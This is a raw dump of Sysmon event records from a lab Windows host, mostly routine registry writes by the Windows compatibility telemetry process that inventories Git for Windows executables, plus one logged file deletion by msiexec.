13241300x800000000000000036555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-index.|21be940b8e49773d\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-merge-index.exe 13241300x800000000000000036554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-file.e|daffc665e459523c\BinProductVersion2.33.0.2 13241300x800000000000000036553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-file.e|daffc665e459523c\LinkDate08/24/2021 10:09:53 13241300x800000000000000036552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-file.e|daffc665e459523c\Publisherthe git development community 13241300x800000000000000036551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-file.e|daffc665e459523c\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-merge-file.exe 13241300x800000000000000036550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-base.e|30dc1b69df66ab7c\BinProductVersion2.33.0.2 13241300x800000000000000036549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-base.e|30dc1b69df66ab7c\LinkDate08/24/2021 10:09:53 13241300x800000000000000036548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-base.e|30dc1b69df66ab7c\Publisherthe git development community 13241300x800000000000000036547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-merge-base.e|30dc1b69df66ab7c\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-merge-base.exe 13241300x800000000000000036546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-maintenance.|3bae5fb74f39ca3b\BinProductVersion2.33.0.2 13241300x800000000000000036545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-maintenance.|3bae5fb74f39ca3b\LinkDate08/24/2021 10:09:53 13241300x800000000000000036544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-maintenance.|3bae5fb74f39ca3b\Publisherthe git development community 13241300x800000000000000036543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-maintenance.|3bae5fb74f39ca3b\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-maintenance.exe 13241300x800000000000000036542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mailsplit.ex|6b4c4fb0ebcb699d\BinProductVersion2.33.0.2 13241300x800000000000000036541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mailsplit.ex|6b4c4fb0ebcb699d\LinkDate08/24/2021 10:09:53 13241300x800000000000000036540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mailsplit.ex|6b4c4fb0ebcb699d\Publisherthe git development community 13241300x800000000000000036539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mailsplit.ex|6b4c4fb0ebcb699d\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-mailsplit.exe 13241300x800000000000000036538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mailinfo.exe|301710ecfb7896f7\BinProductVersion2.33.0.2 13241300x800000000000000036537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mailinfo.exe|301710ecfb7896f7\LinkDate08/24/2021 10:09:53 13241300x800000000000000036536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mailinfo.exe|301710ecfb7896f7\Publisherthe git development community 13241300x800000000000000036535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-mailinfo.exe|301710ecfb7896f7\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-mailinfo.exe 13241300x800000000000000036534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-ls-tree.exe|3da7a7da61dca8d3\BinProductVersion2.33.0.2 13241300x800000000000000036533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-ls-tree.exe|3da7a7da61dca8d3\LinkDate08/24/2021 10:09:53 13241300x800000000000000036532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-ls-tree.exe|3da7a7da61dca8d3\Publisherthe git development community 13241300x800000000000000036531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-ls-tree.exe|3da7a7da61dca8d3\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-ls-tree.exe 13241300x800000000000000036530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-ls-remote.ex|70eaf315f15c7a6d\BinProductVersion2.33.0.2 13241300x800000000000000036529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-ls-remote.ex|70eaf315f15c7a6d\LinkDate08/24/2021 10:09:53 13241300x800000000000000036528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-ls-remote.ex|70eaf315f15c7a6d\Publisherthe git development community 13241300x800000000000000036527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-ls-remote.ex|70eaf315f15c7a6d\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-ls-remote.exe 13241300x800000000000000036526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-ls-files.exe|1e3ad688e0cb54cf\BinProductVersion2.33.0.2 13241300x800000000000000036525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-ls-files.exe|1e3ad688e0cb54cf\LinkDate08/24/2021 10:09:53 13241300x800000000000000036524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-ls-files.exe|1e3ad688e0cb54cf\Publisherthe git development community 13241300x800000000000000036523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-ls-files.exe|1e3ad688e0cb54cf\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-ls-files.exe 13241300x800000000000000036522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-log.exe|8e73c205e9f2f0be\BinProductVersion2.33.0.2 13241300x800000000000000036521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-log.exe|8e73c205e9f2f0be\LinkDate08/24/2021 10:09:53 13241300x800000000000000036520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-log.exe|8e73c205e9f2f0be\Publisherthe git development community 13241300x800000000000000036519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-log.exe|8e73c205e9f2f0be\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-log.exe 13241300x800000000000000036518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-lfs.exe|a5073c52b01e7b5b\BinProductVersion0.0.0.0 13241300x800000000000000036517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-lfs.exe|a5073c52b01e7b5b\LinkDate01/01/1970 00:00:00 13241300x800000000000000036516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-lfs.exe|a5073c52b01e7b5b\Publisher(Empty) 13241300x800000000000000036515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-lfs.exe|a5073c52b01e7b5b\LowerCaseLongPathc:\program files\git\mingw64\bin\git-lfs.exe 13241300x800000000000000036514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-lfs.exe|5a5fd3616aa3e5b5\BinProductVersion2.33.0.2 13241300x800000000000000036513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-lfs.exe|5a5fd3616aa3e5b5\LinkDate08/24/2021 10:09:53 13241300x800000000000000036512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-lfs.exe|5a5fd3616aa3e5b5\Publisherthe git development community 13241300x800000000000000036511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-lfs.exe|5a5fd3616aa3e5b5\LowerCaseLongPathc:\program files\git\cmd\git-lfs.exe 13241300x800000000000000036510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-interpret-tr|64a626455ecf8a98\BinProductVersion2.33.0.2 13241300x800000000000000036509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-interpret-tr|64a626455ecf8a98\LinkDate08/24/2021 10:09:53 13241300x800000000000000036508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-interpret-tr|64a626455ecf8a98\Publisherthe git development community 13241300x800000000000000036507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-interpret-tr|64a626455ecf8a98\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-interpret-trailers.exe 13241300x800000000000000036506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-init.exe|bfcd122907ddc590\BinProductVersion2.33.0.2 13241300x800000000000000036505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-init.exe|bfcd122907ddc590\LinkDate08/24/2021 10:09:53 13241300x800000000000000036504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-init.exe|bfcd122907ddc590\Publisherthe git development community 13241300x800000000000000036503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-init.exe|bfcd122907ddc590\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-init.exe 13241300x800000000000000036502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-init-db.exe|b6baf86f656c9cd\BinProductVersion2.33.0.2 13241300x800000000000000036501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-init-db.exe|b6baf86f656c9cd\LinkDate08/24/2021 10:09:53 13241300x800000000000000036500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-init-db.exe|b6baf86f656c9cd\Publisherthe git development community 13241300x800000000000000036499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.324{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-init-db.exe|b6baf86f656c9cd\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-init-db.exe 13241300x800000000000000036498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-index-pack.e|a057507fd54823f\BinProductVersion2.33.0.2 13241300x800000000000000036497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-index-pack.e|a057507fd54823f\LinkDate08/24/2021 10:09:53 13241300x800000000000000036496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-index-pack.e|a057507fd54823f\Publisherthe git development community 13241300x800000000000000036495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-index-pack.e|a057507fd54823f\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-index-pack.exe 13241300x800000000000000036494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-imap-send.ex|b89b2f1409a90d85\BinProductVersion2.33.0.2 13241300x800000000000000036493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-imap-send.ex|b89b2f1409a90d85\LinkDate08/24/2021 10:09:53 13241300x800000000000000036492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-imap-send.ex|b89b2f1409a90d85\Publisherthe git development community 13241300x800000000000000036491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-imap-send.ex|b89b2f1409a90d85\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-imap-send.exe 13241300x800000000000000036490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-http-push.ex|68d3cf7d040e7329\BinProductVersion2.33.0.2 13241300x800000000000000036489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-http-push.ex|68d3cf7d040e7329\LinkDate08/24/2021 10:09:53 13241300x800000000000000036488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-http-push.ex|68d3cf7d040e7329\Publisherthe git development community 13241300x800000000000000036487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-http-push.ex|68d3cf7d040e7329\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-http-push.exe 13241300x800000000000000036486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-http-fetch.e|ab1d6cbc9e29e771\BinProductVersion2.33.0.2 23542300x800000000000000036485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:14.308{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\PG3AN2E5Y1\PresentationFramework.ni.dllMD5=F4BE31FD7508880EBE11971999150E20,SHA256=67784892A02B103C517FFBCEB07F743E14E727539AADA82138342FEAECD1C8C9,IMPHASH=00000000000000000000000000000000truetrue 13241300x800000000000000036484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 